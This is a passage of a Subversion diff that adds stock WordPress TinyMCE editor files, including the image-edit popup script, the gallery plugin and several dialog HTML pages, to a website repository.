+			f.link_classes.value = ed.dom.getAttrib(pa, 'class');
+		}
+
+		f.link_target.checked = ( t.target_value && t.target_value == '_blank' ) ? 'checked' : '';
+
+		fname = link.substring( link.lastIndexOf('/') );
+		fname = fname.replace(/-[0-9]{2,4}x[0-9]{2,4}/, '' );
+		t.link = link.substring( 0, link.lastIndexOf('/') ) + fname;
+
+		if ( c.indexOf('alignleft') != -1 ) {
+			t.I('alignleft').checked = "checked";
+			d.className = t.align = "alignleft";
+		} else if ( c.indexOf('aligncenter') != -1 ) {
+			t.I('aligncenter').checked = "checked";
+			d.className = t.align = "aligncenter";
+		} else if ( c.indexOf('alignright') != -1 ) {
+			t.I('alignright').checked = "checked";
+			d.className = t.align = "alignright";
+		} else if ( c.indexOf('alignnone') != -1 ) {
+			t.I('alignnone').checked = "checked";
+			d.className = t.align = "alignnone";
+		}
+
+		if ( t.width && t.preloadImg.width ) t.showSizeSet();
+		document.body.style.display = '';
+	},
+
+	remove : function() {
+		var ed = tinyMCEPopup.editor, p, el;
+
+		tinyMCEPopup.restoreSelection();
+		el = ed.selection.getNode();
+		if (el.nodeName != 'IMG') return;
+
+		if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') )
+			ed.dom.remove(p);
+		else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 )
+			ed.dom.remove(p);
+		else ed.dom.remove(el);
+
+		ed.execCommand('mceRepaint');
+		tinyMCEPopup.close();
+		return;
+	},
+
+	update : function() {
+		var t = this, f = document.forms[0], ed = tinyMCEPopup.editor, el, b, fixSafari = null, DL, P, A, DIV, do_caption = null, img_class = f.img_classes.value, html;
+
+		tinyMCEPopup.restoreSelection();
+		el = ed.selection.getNode();
+
+		if (el.nodeName != 'IMG') return;
+		if (f.img_src.value === '') {
+			t.remove();
+			return;
+		}
+
+		if ( f.img_cap.value != '' && f.width.value != '' ) {
+			do_caption = 1;
+			img_class = img_class.replace( /align[^ "']+\s?/gi, '' );
+		}
+
+		A = ed.dom.getParent(el, 'a');
+		P = ed.dom.getParent(el, 'p');
+		DL = ed.dom.getParent(el, 'dl');
+		DIV = ed.dom.getParent(el, 'div');
+
+		tinyMCEPopup.execCommand("mceBeginUndoLevel");
+
+		ed.dom.setAttribs(el, {
+			src : f.img_src.value,
+			title : f.img_title.value,
+			alt : f.img_alt.value,
+			width : f.width.value,
+			height : f.height.value,
+			style : f.img_style.value,
+			'class' : img_class
+		});
+
+		if ( f.link_href.value ) {
+			// Create new anchor elements
+			if ( A == null ) {
+				if ( ! f.link_href.value.match(/https?:\/\//i) )
+					f.link_href.value = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.link_href.value);
+
+				if ( tinymce.isWebKit && ed.dom.hasClass(el, 'aligncenter') ) {
+					ed.dom.removeClass(el, 'aligncenter');
+					fixSafari = 1;
+				}
+
+				tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1});
+				if ( fixSafari ) ed.dom.addClass(el, 'aligncenter');
+
+				tinymce.each(ed.dom.select("a"), function(n) {
+					if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') {
+
+						ed.dom.setAttribs(n, {
+							href : f.link_href.value,
+							title : f.link_title.value,
+							rel : f.link_rel.value,
+							target : (f.link_target.checked == true) ? '_blank' : '',
+							'class' : f.link_classes.value,
+							style : f.link_style.value
+						});
+					}
+				});
+			} else {
+				ed.dom.setAttribs(A, {
+					href : f.link_href.value,
+					title : f.link_title.value,
+					rel : f.link_rel.value,
+					target : (f.link_target.checked == true) ? '_blank' : '',
+					'class' : f.link_classes.value,
+					style : f.link_style.value
+				});
+			}
+		}
+
+		if ( do_caption ) {
+			var id, cap_id = '', cap, DT, DD, cap_width = 10 + parseInt(f.width.value), align = t.align.substring(5), div_cls = (t.align == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp';
+
+			if ( DL ) {
+				ed.dom.setAttribs(DL, {
+					'class' : 'wp-caption '+t.align,
+					style : 'width: '+cap_width+'px;'
+				});
+
+				if ( DIV )
+					ed.dom.setAttrib(DIV, 'class', div_cls);
+
+				if ( (DT = ed.dom.getParent(el, 'dt')) && (DD = DT.nextSibling) && ed.dom.hasClass(DD, 'wp-caption-dd') )
+					ed.dom.setHTML(DD, f.img_cap.value);
+
+			} else {
+				var lnk = '', pa;
+				if ( (id = f.img_classes.value.match( /wp-image-([0-9]{1,6})/ )) && id[1] )
+					cap_id = 'attachment_'+id[1];
+
+				if ( f.link_href.value && (lnk = ed.dom.getParent(el, 'a')) ) {
+					if ( lnk.childNodes.length == 1 )
+						html = ed.dom.getOuterHTML(lnk);
+					else {
+						html = ed.dom.getOuterHTML(lnk);
+						html = html.match(/<a[^>]+>/i);
+						html = html+ed.dom.getOuterHTML(el)+'</a>';
+					}
+				} else html = ed.dom.getOuterHTML(el);
+
+				html = '<dl id="'+cap_id+'" class="wp-caption '+t.align+'" style="width: '+cap_width+
+				'px"><dt class="wp-caption-dt">'+html+'</dt><dd class="wp-caption-dd">'+f.img_cap.value+'</dd></dl>';
+
+				cap = ed.dom.create('div', {'class': div_cls}, html);
+
+				if ( P ) {
+					P.parentNode.insertBefore(cap, P);
+					if ( P.childNodes.length == 1 )
+						ed.dom.remove(P);
+					else if ( lnk && lnk.childNodes.length == 1 )
+						ed.dom.remove(lnk);
+					else ed.dom.remove(el);
+				} else if ( pa = ed.dom.getParent(el, 'TD,TH,LI') ) {
+					pa.appendChild(cap);
+					if ( lnk && lnk.childNodes.length == 1 )
+						ed.dom.remove(lnk);
+					else ed.dom.remove(el);
+				}
+			}
+
+		} else {
+			if ( DL && DIV ) {
+				var aa;
+				if ( f.link_href.value && (aa = ed.dom.getParent(el, 'a')) ) html = ed.dom.getOuterHTML(aa);
+				else html = ed.dom.getOuterHTML(el);
+
+				P = ed.dom.create('p', {}, html);
+				DIV.parentNode.insertBefore(P, DIV);
+				ed.dom.remove(DIV);
+			}
+		}
+
+		if ( f.img_classes.value.indexOf('aligncenter') != -1 ) {
+			if ( P && ( ! P.style || P.style.textAlign != 'center' ) )
+				ed.dom.setStyle(P, 'textAlign', 'center');
+		} else {
+			if ( P && P.style && P.style.textAlign == 'center' )
+				ed.dom.setStyle(P, 'textAlign', '');
+		}
+
+		if ( ! f.link_href.value && A ) {
+			b = ed.selection.getBookmark();
+			ed.dom.remove(A, 1);
+			ed.selection.moveToBookmark(b);
+		}
+
+		tinyMCEPopup.execCommand("mceEndUndoLevel");
+		ed.execCommand('mceRepaint');
+		tinyMCEPopup.close();
+	},
+
+	updateStyle : function(ty) {
+		var dom = tinyMCEPopup.dom, st, v, f = document.forms[0], img = dom.create('img', {style : f.img_style.value});
+
+		if (tinyMCEPopup.editor.settings.inline_styles) {
+			// Handle align
+			if (ty == 'align') {
+				dom.setStyle(img, 'float', '');
+				dom.setStyle(img, 'vertical-align', '');
+
+				v = f.align.value;
+				if (v) {
+					if (v == 'left' || v == 'right')
+						dom.setStyle(img, 'float', v);
+					else
+						img.style.verticalAlign = v;
+				}
+			}
+
+			// Handle border
+			if (ty == 'border') {
+				dom.setStyle(img, 'border', '');
+
+				v = f.border.value;
+				if (v || v == '0') {
+					if (v == '0')
+						img.style.border = '0';
+					else
+						img.style.border = v + 'px solid black';
+				}
+			}
+
+			// Handle hspace
+			if (ty == 'hspace') {
+				dom.setStyle(img, 'marginLeft', '');
+				dom.setStyle(img, 'marginRight', '');
+
+				v = f.hspace.value;
+				if (v) {
+					img.style.marginLeft = v + 'px';
+					img.style.marginRight = v + 'px';
+				}
+			}
+
+			// Handle vspace
+			if (ty == 'vspace') {
+				dom.setStyle(img, 'marginTop', '');
+				dom.setStyle(img, 'marginBottom', '');
+
+				v = f.vspace.value;
+				if (v) {
+					img.style.marginTop = v + 'px';
+					img.style.marginBottom = v + 'px';
+				}
+			}
+
+			// Merge
+			f.img_style.value = dom.serializeStyle(dom.parseStyle(img.style.cssText));
+			this.demoSetStyle();
+		}
+	},
+
+	checkVal : function(f) {
+
+		if ( f.value == '' ) {
+	//		if ( f.id == 'width' ) f.value = this.width || this.preloadImg.width;
+	//		if ( f.id == 'height' ) f.value = this.height || this.preloadImg.height;
+			if ( f.id == 'img_src' ) f.value = this.I('img_demo').src || this.preloadImg.src;
+		}
+	},
+
+	resetImageData : function() {
+		var f = document.forms[0];
+
+		f.width.value = f.height.value = '';
+	},
+
+	updateImageData : function() {
+		var f = document.forms[0], t = wpImage;
+
+		if ( f.width.value == '' || f.height.value == '' ) {
+			f.width.value = t.width = t.preloadImg.width;
+			f.height.value = t.height = t.preloadImg.height;
+		}
+
+		t.showSizeSet();
+		t.demoSetSize();
+		if ( f.img_style.value )
+			t.demoSetStyle();
+	},
+
+	getImageData : function() {
+		var t = wpImage, f = document.forms[0];
+
+		t.preloadImg = new Image();
+		t.preloadImg.onload = t.updateImageData;
+		t.preloadImg.onerror = t.resetImageData;
+		t.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.img_src.value);
+	}
+};
+
+window.onload = function(){wpImage.init();}
+wpImage.preInit();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js	(revision 44)
@@ -0,0 +1,174 @@
+
+(function() {
+	tinymce.create('tinymce.plugins.wpGallery', {
+
+		init : function(ed, url) {
+			var t = this;
+
+			t.url = url;
+			t._createButtons();
+
+			// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
+			ed.addCommand('WP_Gallery', function() {
+				var el = ed.selection.getNode(), post_id, vp = tinymce.DOM.getViewPort(), H = vp.h - 80, W = ( 640 < vp.w ) ? 640 : vp.w;
+
+				if ( el.nodeName != 'IMG' ) return;
+				if ( ed.dom.getAttrib(el, 'class').indexOf('wpGallery') == -1 )	return;
+
+				post_id = tinymce.DOM.get('post_ID').value;
+				tb_show('', tinymce.documentBaseURL + '/media-upload.php?post_id='+post_id+'&tab=gallery&TB_iframe=true&width='+W+'&height='+H);
+
+				tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
+			});
+
+			ed.onInit.add(function(ed) {
+				tinymce.dom.Event.add(ed.getWin(), 'scroll', function(e) {
+					ed.plugins.wpgallery.hideButtons();
+				});
+			});
+
+			ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) {
+				ed.plugins.wpgallery.hideButtons();
+			});
+
+			ed.onSaveContent.add(function(ed, o) {
+				ed.plugins.wpgallery.hideButtons();
+			});
+
+			ed.onMouseUp.add(function(ed, e) {
+				if ( tinymce.isOpera ) {
+					if ( e.target.nodeName == 'IMG' )
+						ed.plugins.wpgallery.showButtons(e.target);
+				}
+
+			});
+
+			ed.onMouseDown.add(function(ed, e) {
+				if ( tinymce.isOpera || e.target.nodeName != 'IMG' ) {
+					t.hideButtons();
+					return;
+				}
+				ed.plugins.wpgallery.showButtons(e.target);
+			});
+
+			ed.onBeforeSetContent.add(function(ed, o) {
+				o.content = t._do_gallery(o.content);
+			});
+
+			ed.onPostProcess.add(function(ed, o) {
+				if (o.get)
+					o.content = t._get_gallery(o.content);
+			});
+		},
+
+		_do_gallery : function(co) {
+			return co.replace(/\[gallery([^\]]*)\]/g, function(a,b){
+				return '<img src="'+tinymce.baseURL+'/plugins/wpgallery/img/t.gif" class="wpGallery mceItem" title="gallery'+tinymce.DOM.encode(b)+'" />';
+			});
+		},
+
+		_get_gallery : function(co) {
+
+			function getAttr(s, n) {
+				n = new RegExp(n + '=\"([^\"]+)\"', 'g').exec(s);
+				return n ? tinymce.DOM.decode(n[1]) : '';
+			};
+
+			return co.replace(/(?:<p[^>]*>)*(<img[^>]+>)(?:<\/p>)*/g, function(a,im) {
+				var cls = getAttr(im, 'class');
+
+				if ( cls.indexOf('wpGallery') != -1 )
+					return '<p>['+tinymce.trim(getAttr(im, 'title'))+']</p>';
+
+				return a;
+			});
+		},
+
+		showButtons : function(n) {
+			var t = this, ed = tinyMCE.activeEditor, p1, p2, vp, DOM = tinymce.DOM, X, Y;
+
+			if (ed.dom.getAttrib(n, 'class').indexOf('wpGallery') == -1)
+				return;
+
+			vp = ed.dom.getViewPort(ed.getWin());
+			p1 = DOM.getPos(ed.getContentAreaContainer());
+			p2 = ed.dom.getPos(n);
+
+			X = Math.max(p2.x - vp.x, 0) + p1.x;
+			Y = Math.max(p2.y - vp.y, 0) + p1.y;
+
+			DOM.setStyles('wp_gallerybtns', {
+				'top' : Y+5+'px',
+				'left' : X+5+'px',
+				'display' : 'block'
+			});
+
+			t.btnsTout = window.setTimeout( function(){ed.plugins.wpgallery.hideButtons();}, 5000 );
+		},
+
+		hideButtons : function() {
+			if ( tinymce.DOM.isHidden('wp_gallerybtns') ) return;
+
+			tinymce.DOM.hide('wp_gallerybtns');
+			window.clearTimeout(this.btnsTout);
+		},
+
+		_createButtons : function() {
+			var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM, wp_gallerybtns, wp_editgallery, wp_delgallery;
+
+			DOM.remove('wp_gallerybtns');
+
+			wp_gallerybtns = DOM.add(document.body, 'div', {
+				id : 'wp_gallerybtns',
+				style : 'display:none;'
+			});
+
+			wp_editgallery = DOM.add('wp_gallerybtns', 'img', {
+				src : t.url+'/img/edit.png',
+				id : 'wp_editgallery',
+				width : '24',
+				height : '24',
+				title : ed.getLang('wordpress.editgallery')
+			});
+
+			wp_editgallery.onmousedown = function(e) {
+				var ed = tinyMCE.activeEditor;
+				ed.windowManager.bookmark = ed.selection.getBookmark('simple');
+				ed.execCommand("WP_Gallery");
+				this.parentNode.style.display = 'none';
+			};
+
+			wp_delgallery = DOM.add('wp_gallerybtns', 'img', {
+				src : t.url+'/img/delete.png',
+				id : 'wp_delgallery',
+				width : '24',
+				height : '24',
+				title : ed.getLang('wordpress.delgallery')
+			});
+
+			wp_delgallery.onmousedown = function(e) {
+				var ed = tinyMCE.activeEditor, el = ed.selection.getNode();
+
+				if ( el.nodeName == 'IMG' && ed.dom.getAttrib(el, 'class').indexOf('wpGallery') != -1 ) {
+					ed.dom.remove(el);
+
+					this.parentNode.style.display = 'none';
+					ed.execCommand('mceRepaint');
+					return false;
+				}
+			};
+		},
+
+		getInfo : function() {
+			return {
+				longname : 'Gallery Settings',
+				author : 'WordPress',
+				authorurl : 'http://wordpress.org',
+				infourl : '',
+				version : "1.0"
+			};
+		}
+	});
+
+	tinymce.PluginManager.add('wpgallery', tinymce.plugins.wpGallery);
+})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(){tinymce.create("tinymce.plugins.wpGallery",{init:function(a,b){var c=this;c.url=b;c._createButtons();a.addCommand("WP_Gallery",function(){var h=a.selection.getNode(),f,e=tinymce.DOM.getViewPort(),g=e.h-80,d=(640<e.w)?640:e.w;if(h.nodeName!="IMG"){return}if(a.dom.getAttrib(h,"class").indexOf("wpGallery")==-1){return}f=tinymce.DOM.get("post_ID").value;tb_show("",tinymce.documentBaseURL+"/media-upload.php?post_id="+f+"&tab=gallery&TB_iframe=true&width="+d+"&height="+g);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")});a.onInit.add(function(d){tinymce.dom.Event.add(d.getWin(),"scroll",function(f){d.plugins.wpgallery.hideButtons()})});a.onBeforeExecCommand.add(function(d,f,e,g){d.plugins.wpgallery.hideButtons()});a.onSaveContent.add(function(d,e){d.plugins.wpgallery.hideButtons()});a.onMouseUp.add(function(d,f){if(tinymce.isOpera){if(f.target.nodeName=="IMG"){d.plugins.wpgallery.showButtons(f.target)}}});a.onMouseDown.add(function(d,f){if(tinymce.isOpera||f.target.nodeName!="IMG"){c.hideButtons();return}d.plugins.wpgallery.showButtons(f.target)});a.onBeforeSetContent.add(function(d,e){e.content=c._do_gallery(e.content)});a.onPostProcess.add(function(d,e){if(e.get){e.content=c._get_gallery(e.content)}})},_do_gallery:function(a){return a.replace(/\[gallery([^\]]*)\]/g,function(d,c){return'<img src="'+tinymce.baseURL+'/plugins/wpgallery/img/t.gif" class="wpGallery mceItem" title="gallery'+tinymce.DOM.encode(c)+'" />'})},_get_gallery:function(b){function a(c,d){d=new RegExp(d+'="([^"]+)"',"g").exec(c);return d?tinymce.DOM.decode(d[1]):""}return b.replace(/(?:<p[^>]*>)*(<img[^>]+>)(?:<\/p>)*/g,function(e,d){var c=a(d,"class");if(c.indexOf("wpGallery")!=-1){return"<p>["+tinymce.trim(a(d,"title"))+"]</p>"}return e})},showButtons:function(d){var i=this,e=tinyMCE.activeEditor,g,f,a,h=tinymce.DOM,c,b;if(e.dom.getAttrib(d,"class").indexOf("wpGallery")==-1){return}a=e.dom.getViewPort(e.getWin());g=h.getPos(e.getContentAreaContainer());f=e.dom.getPos(d);c=Math.max(f.x-a.x,0)+g.x;b=Math.max(f.y-a.y,0)+g.y;h.setStyles("wp_gallerybtns",{top:b+5+"px",left:c+5+"px",display:"block"});i.btnsTout=window.setTimeout(function(){e.plugins.wpgallery.hideButtons()},5000)},hideButtons:function(){if(tinymce.DOM.isHidden("wp_gallerybtns")){return}tinymce.DOM.hide("wp_gallerybtns");window.clearTimeout(this.btnsTout)},_createButtons:function(){var d=this,b=tinyMCE.activeEditor,e=tinymce.DOM,c,f,a;e.remove("wp_gallerybtns");c=e.add(document.body,"div",{id:"wp_gallerybtns",style:"display:none;"});f=e.add("wp_gallerybtns","img",{src:d.url+"/img/edit.png",id:"wp_editgallery",width:"24",height:"24",title:b.getLang("wordpress.editgallery")});f.onmousedown=function(h){var g=tinyMCE.activeEditor;g.windowManager.bookmark=g.selection.getBookmark("simple");g.execCommand("WP_Gallery");this.parentNode.style.display="none"};a=e.add("wp_gallerybtns","img",{src:d.url+"/img/delete.png",id:"wp_delgallery",width:"24",height:"24",title:b.getLang("wordpress.delgallery")});a.onmousedown=function(i){var g=tinyMCE.activeEditor,h=g.selection.getNode();if(h.nodeName=="IMG"&&g.dom.getAttrib(h,"class").indexOf("wpGallery")!=-1){g.dom.remove(h);this.parentNode.style.display="none";g.execCommand("mceRepaint");return false}}},getInfo:function(){return{longname:"Gallery Settings",author:"WordPress",authorurl:"http://wordpress.org",infourl:"",version:"1.0"}}});tinymce.PluginManager.add("wpgallery",tinymce.plugins.wpGallery)})();
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/about.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/about.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/about.htm	(revision 44)
@@ -0,0 +1,56 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#advanced_dlg.about_title}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/mctabs.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/about.js?ver=3241-1141"></script>
+</head>
+<body id="about" style="display: none">
+		<div class="tabs">
+			<ul>
+				<li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advanced_dlg.about_general}</a></span></li>
+				<li id="help_tab" style="display:none"><span><a href="javascript:mcTabs.displayTab('help_tab','help_panel');" onmousedown="return false;">{#advanced_dlg.about_help}</a></span></li>
+				<li id="plugins_tab"><span><a href="javascript:mcTabs.displayTab('plugins_tab','plugins_panel');" onmousedown="return false;">{#advanced_dlg.about_plugins}</a></span></li>
+			</ul>
+		</div>
+
+		<div class="panel_wrapper">
+			<div id="general_panel" class="panel current">
+				<h3>{#advanced_dlg.about_title}</h3>
+				<p>Version: <span id="version"></span> (<span id="date"></span>)</p>
+				<p>TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under <a href="../../license.txt" target="_blank">LGPL</a>
+				by Moxiecode Systems AB. It has the ability to convert HTML TEXTAREA fields or other HTML elements to editor instances.</p>
+				<p>Copyright &copy; 2003-2008, <a href="http://www.moxiecode.com" target="_blank">Moxiecode Systems AB</a>, All rights reserved.</p>
+				<p>For more information about this software visit the <a href="http://tinymce.moxiecode.com" target="_blank">TinyMCE website</a>.</p>
+
+				<div id="buttoncontainer">
+					<a href="http://www.moxiecode.com" target="_blank"><img src="http://tinymce.moxiecode.com/images/gotmoxie.png" alt="Got Moxie?" border="0" /></a>
+					<a href="http://sourceforge.net/projects/tinymce/" target="_blank"><img src="http://sourceforge.net/sflogo.php?group_id=103281" alt="Hosted By Sourceforge" border="0" /></a>
+					<a href="http://www.freshmeat.net/projects/tinymce" target="_blank"><img src="http://tinymce.moxiecode.com/images/fm.gif" alt="Also on freshmeat" border="0" /></a>
+				</div>
+			</div>
+
+			<div id="plugins_panel" class="panel">
+				<div id="pluginscontainer">
+					<h3>{#advanced_dlg.about_loaded}</h3>
+
+					<div id="plugintablecontainer">
+					</div>
+
+					<p>&nbsp;</p>
+				</div>
+			</div>
+
+			<div id="help_panel" class="panel noscroll" style="overflow: visible;">
+				<div id="iframecontainer"></div>
+			</div>
+		</div>
+
+		<div class="mceActionPanel">
+			<div style="float: right">
+				<input type="button" id="cancel" name="cancel" value="{#close}" onclick="tinyMCEPopup.close();" />
+			</div>
+		</div>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/anchor.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/anchor.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/anchor.htm	(revision 44)
@@ -0,0 +1,31 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#advanced_dlg.anchor_title}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/anchor.js?ver=3241-1141"></script>
+</head>
+<body style="display: none">
+<form onsubmit="AnchorDialog.update();return false;" action="#">
+	<table border="0" cellpadding="4" cellspacing="0">
+		<tr>
+			<td colspan="2" class="title">{#advanced_dlg.anchor_title}</td>
+		</tr>
+		<tr>
+			<td class="nowrap">{#advanced_dlg.anchor_name}:</td>
+			<td><input name="anchorName" type="text" class="mceFocus" id="anchorName" value="" style="width: 200px" /></td>
+		</tr>
+	</table>
+
+	<div class="mceActionPanel">
+		<div style="float: left">
+			<input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" />
+		</div>
+
+		<div style="float: right">
+			<input type="submit" id="insert" name="insert" value="{#update}" />
+		</div>
+	</div>
+</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/charmap.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/charmap.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/charmap.htm	(revision 44)
@@ -0,0 +1,53 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#advanced_dlg.charmap_title}</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/charmap.js?ver=3241-1141"></script>
+</head>
+<body id="charmap" style="display:none">
+<table align="center" border="0" cellspacing="0" cellpadding="2">
+    <tr>
+        <td colspan="2" class="title">{#advanced_dlg.charmap_title}</td>
+    </tr>
+    <tr>
+        <td id="charmapView" rowspan="2" align="left" valign="top">
+			<!-- Chars will be rendered here -->
+        </td>
+        <td width="100" align="center" valign="top">
+            <table border="0" cellpadding="0" cellspacing="0" width="100" style="height:100px">
+                <tr>
+                    <td id="codeV">&nbsp;</td>
+                </tr>
+                <tr>
+                    <td id="codeN">&nbsp;</td>
+                </tr>
+            </table>
+        </td>
+    </tr>
+    <tr>
+        <td valign="bottom" style="padding-bottom: 3px;">
+            <table width="100" align="center" border="0" cellpadding="2" cellspacing="0">
+                <tr>
+                    <td align="center" style="border-left: 1px solid #666699; border-top: 1px solid #666699; border-right: 1px solid #666699;">HTML-Code</td>
+                </tr>
+                <tr>
+                    <td style="font-size: 16px; font-weight: bold; border-left: 1px solid #666699; border-bottom: 1px solid #666699; border-right: 1px solid #666699;" id="codeA" align="center">&nbsp;</td>
+                </tr>
+                <tr>
+                    <td style="font-size: 1px;">&nbsp;</td>
+                </tr>
+                <tr>
+                    <td align="center" style="border-left: 1px solid #666699; border-top: 1px solid #666699; border-right: 1px solid #666699;">NUM-Code</td>
+                </tr>
+                <tr>
+                    <td style="font-size: 16px; font-weight: bold; border-left: 1px solid #666699; border-bottom: 1px solid #666699; border-right: 1px solid #666699;" id="codeB" align="center">&nbsp;</td>
+                </tr>
+            </table>
+        </td>
+    </tr>
+</table>
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/color_picker.htm
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/color_picker.htm	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/color_picker.htm	(revision 44)
@@ -0,0 +1,75 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>{#advanced_dlg.colorpicker_title}</title>
+	<script type="text/javascript" src="../../tiny_mce_popup.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="../../utils/mctabs.js?ver=3241-1141"></script>
+	<script type="text/javascript" src="js/color_picker.js?ver=3241-1141"></script>
+</head>
+<body id="colorpicker" style="display: none">
+<form onsubmit="insertAction();return false" action="#">
+	<div class="tabs">
+		<ul>
+			<li id="picker_tab" class="current"><span><a href="javascript:mcTabs.displayTab('picker_tab','picker_panel');" onmousedown="return false;">{#advanced_dlg.colorpicker_picker_tab}</a></span></li>
+			<li id="rgb_tab"><span><a href="javascript:;" onclick="generateWebColors();mcTabs.displayTab('rgb_tab','rgb_panel');" onmousedown="return false;">{#advanced_dlg.colorpicker_palette_tab}</a></span></li>
+			<li id="named_tab"><span><a  href="javascript:;" onclick="generateNamedColors();javascript:mcTabs.displayTab('named_tab','named_panel');" onmousedown="return false;">{#advanced_dlg.colorpicker_named_tab}</a></span></li>
+		</ul>
+	</div>
+
+	<div class="panel_wrapper">
+		<div id="picker_panel" class="panel current">
+			<fieldset>
+				<legend>{#advanced_dlg.colorpicker_picker_title}</legend>
+				<div id="picker">
+					<img id="colors" src="img/colorpicker.jpg" onclick="computeColor(event)" onmousedown="isMouseDown = true;return false;" onmouseup="isMouseDown = false;" onmousemove="if (isMouseDown && isMouseOver) computeColor(event); return false;" onmouseover="isMouseOver=true;" onmouseout="isMouseOver=false;" alt=" " />
+
+					<div id="light">
+						<!-- Will be filled with divs -->
+					</div>
+
+					<br style="clear: both" />
+				</div>
+			</fieldset>
+		</div>
+
+		<div id="rgb_panel" class="panel">
+			<fieldset>
+				<legend>{#advanced_dlg.colorpicker_palette_title}</legend>
+				<div id="webcolors">
+					<!-- Gets filled with web safe colors-->
+				</div>
+
+				<br style="clear: both" />
+			</fieldset>
+		</div>
+
+		<div id="named_panel" class="panel">
+			<fieldset>
+				<legend>{#advanced_dlg.colorpicker_named_title}</legend>
+				<div id="namedcolors">
+					<!-- Gets filled with named colors-->
+				</div>
+
+				<br style="clear: both" />
+
+				<div id="colornamecontainer">
+					{#advanced_dlg.colorpicker_name} <span id="colorname"></span>
+				</div>
+			</fieldset>
+		</div>
+	</div>
+
+	<div class="mceActionPanel">
+		<div style="float: left">
+			<input type="submit" id="insert" name="insert" value="{#apply}" />
+		</div>
+
+		<div id="preview"></div>
+
+		<div id="previewblock">
+			<label for="color">{#advanced_dlg.colorpicker_color}</label> <input id="color" type="text" size="8" maxlength="8" class="text mceFocus" />
+		</div>
+	</div>
+</form>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/editor_template.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/editor_template.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/editor_template.js	(revision 44)
@@ -0,0 +1,1 @@
